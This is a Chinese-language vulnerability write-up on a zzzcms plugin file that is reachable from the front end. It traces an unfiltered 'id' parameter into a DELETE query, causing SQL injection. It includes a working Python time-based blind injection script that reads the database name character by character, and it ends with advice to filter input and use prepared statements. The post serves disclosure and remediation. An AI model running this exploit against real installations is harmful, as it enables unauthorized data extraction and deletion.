前言 查看cnvd时发现了该cms一个较新的漏洞,决定分析一下
代码分析 漏洞的触发点在plugins/sms/sms_list.php
,该处文件可以直接在前台访问,看一下关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php require '../../inc/zzz_admin.php' ;$act =getform ("act" ,"get" );$id =getform ("id" ,"post" );switch ($act ) { case 'del' : db_delete ('sms' ,array ('id' =>$id )); exit ; break ; case 'delall' : db_delete ('sms' ,array ('smsonoff' =>0 )); phpgo ('sms_list.php' ); break ; } ?>
该处的$id
与$act
对输入均没有进行过滤的操作,跟进下方的db_delete
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 function db_delete ( $table , $where , $d = NULL ) { $db = $_SERVER [ 'db' ]; $d = $d ? $d : $db ; if ( !$d ) return FALSE ; if ( ifnum ( $where ) ) { $where = table_id ( $table ) . '=' . $where ; } elseif ( is_array ( $where ) ) { $arrkey = array_keys ( $where ); if ( $arrkey [ 0 ] === 0 ) { $where = array ( table_id ( $table ) => $where ); } } elseif ( $where == 'recy' ) { if ( $table == 'content' )$where = array ( 'c_onoff' => 2 ); } $whereadd = db_cond_to_sqladd ( $where ); return db_exec ( "DELETE FROM [dbpre]$table $whereadd " , $d ); }
继续跟进db_cond_to_sqladd
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 function db_cond_to_sqladd ( $where ) { $s = '' ; if ( DB_TYPE == 'access' )$where = toutf ( $where ); if ( !empty ( $where ) ) { $s = ' WHERE ' ; if ( is_array ( $where ) ) { foreach ( $where as $k => $v ) { if ( !is_array ( $v ) ) { $op = substr ( $k , -1 ); if ( $op == '>' || $op == '<' || $op == '=' ) { if (substr ( $k , -2 )== '>=' || substr ( $k , -2 )== '<=' || substr ( $k , -2 )== '<>' ) { $op =substr ( $k , -2 ); $k = substr ( $k , 0 , -2 ); }else { $k = substr ( $k , 0 , -1 ); } $s .= "`$k `$op $v AND" ; } else { $v = ( ifnum ( $v ) ) ? $v : "'" . ( $v ) . "'" ; $s .= "`$k `=$v AND " ; } } elseif ( isset ( $v [ 0 ] ) ) { $s .= '(' ; foreach ( $v as $v1 ) { $v1 = ( ifnum ( $v1 ) ) ? $v1 : "'" . ( $v1 ) . "'" ; $s .= "`$k `=$v1 OR " ; } $s = substr ( $s , 0 , -4 ); $s .= ') AND ' ; } else { foreach ( $v as $k1 => $v1 ) { if ( $k1 == 'LIKE' ) { if (ifstrin ($k ,',' )){ foreach (splits ($k ) as $v2 ){ $ss .= "`$v2 ` LIKE '%" .$v1 ."%' or" ; } $ss =rtrim ($ss ,'or' ); $s .= "($ss ) AND" ; }else { $s .= "`$k ` LIKE '%" .$v1 ."%' AND" ; } }else if ( $k1 == 'FIND' ){ $s .= "(FIND_IN_SET($v1 ,`$k `) or $k ='') AND" ; }else if ( $k1 == '!FIND' ){ $s .= "!FIND_IN_SET($v1 ,`$k `) AND" ; }else if ($k1 == 'BETWEEN' ){ $s .= "`$k ` BETWEEN $v1 AND" ; }else if (is_int ( $v1 ) || is_float ( $v1 ) || $k1 =='=' ){ $s .= "`$k `$k1 $v1 AND " ; }else { $s .= "`$k `$k1 '" . ( $v1 ) . "' AND " ; } } } } $s = substr ( $s , 0 , -4 ); } else { $s .= $where ; } } return $s ; }
在这里我们需要进行一些构造,使得代码运行到如下分支
注意到该处语句没有任何的过滤,直接拼接返回给了db_delete
函数
在db_delete
函数中紧接着运行了sql
语句
跟进db_exec
函数
1 2 3 4 5 6 7 8 9 10 11 12 function db_exec ( $sql , $d = NULL ,$log =true ) { $db = $_SERVER [ 'db' ]; $d = $d ? $d : $db ; if ( !$d ) return FALSE ; $sql = str_replace ( '[dbpre]' , DB_PRE, $sql ); echo '<br>' ; var_dump ($sql ); $n = $d ->exec ( $sql ); db_errno_errstr ( $n , $d ,$sql ); str_log ( $sql ."\t" , 'log' ); return $n ; }
这里函数将参数进行替换后直接将语句带入了数据库执行,在这里我们就存在着机会将语句进行合理的拼接进行SQL注入
漏洞利用 首先尝试报错注入,输出一下sql
语句
但是程序并没有抛出错误代出数据,可能是 程序对异常抛出做了屏蔽处理,接着试一下时间盲注
程序确实因为sleep
函数的作用出现了响应延迟,这也意味着可以使用时间盲注进行利用,这里写了个利用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requestsurl = 'http://localhost/zzzcms/plugins/sms/sms_list.php?act=del' sql_dict='1234567890-_`~qwertyuiopasdfghjklzxcvbnm,.<>{}[]@!#$%^&*()' result = '' s = requests.session() for i in range (1 ,255 ): print ('=============================' ) for j in sql_dict: payload = {'id[=if((ascii(substr((select database()),{},1))="{}"),sleep(5),1)#]' .format (i,ord (j)):'aaaa' } try : html = s.post(url,data=payload,timeout=5 ) except : result = result + j print (result) s.get(url) break
修复建议 建议该处对于数据的输入进行全局的过滤,对于需要使用sql
语句的地方,每个参数做好严格的检查,也可以采用预编译的方式来执行sql
语句。